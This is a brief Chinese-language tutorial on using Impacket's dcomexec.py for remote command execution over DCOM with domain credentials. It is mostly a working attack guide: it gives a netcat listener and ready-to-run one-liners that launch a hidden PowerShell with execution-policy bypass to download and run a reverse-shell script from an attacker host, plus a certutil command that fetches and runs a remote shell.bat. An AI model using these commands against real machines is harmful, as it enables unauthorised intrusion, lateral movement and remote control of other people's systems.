Dcom 怎么操作
利用 DCOM 执行命令
这里我们主要介绍使用 Impacket
中的 dcomexec.py
工具,因为它非常灵活且功能强大
基本语法:
dcomexec.py <domain>/<username>:<password>@<target_ip> 'command'
示例:
假设你拥有一个域用户 testuser
的密码 Password123!
,目标机器 IP 是 192.168.1.100
,你想执行 whoami
命令
dcomexec.py testdomain/testuser:Password123!@192.168.1.100 'whoami'
如果成功,你会看到命令的输出
利用 DCOM 获取交互式 Shell
仅仅执行单条命令是不够的,通常我们希望获得一个交互式的 Shell。dcomexec.py
同样可以做到
示例:
使用 dcomexec.py
启动一个反弹 Shell 的命令
监听端口: 在你的攻击机上,用
netcat
或其他工具监听一个端口,例如 4444nc -lvnp 4444
执行命令: 在目标机器上,利用 DCOM 执行一个 PowerShell 反弹 Shell 的命令。你需要将
<attacker_ip>
和<port>
替换为你的实际 IP 和端口dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "powershell -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('http://<attacker_ip>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attacker_ip> -Port 4444"
或者使用更简单的
certutil
下载并执行恶意脚本:dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "cmd.exe /c certutil.exe -urlcache -f http://<attacker_ip>/shell.bat && shell.bat"
如果成功,你的
netcat
监听器上会收到一个反弹回来的 Shell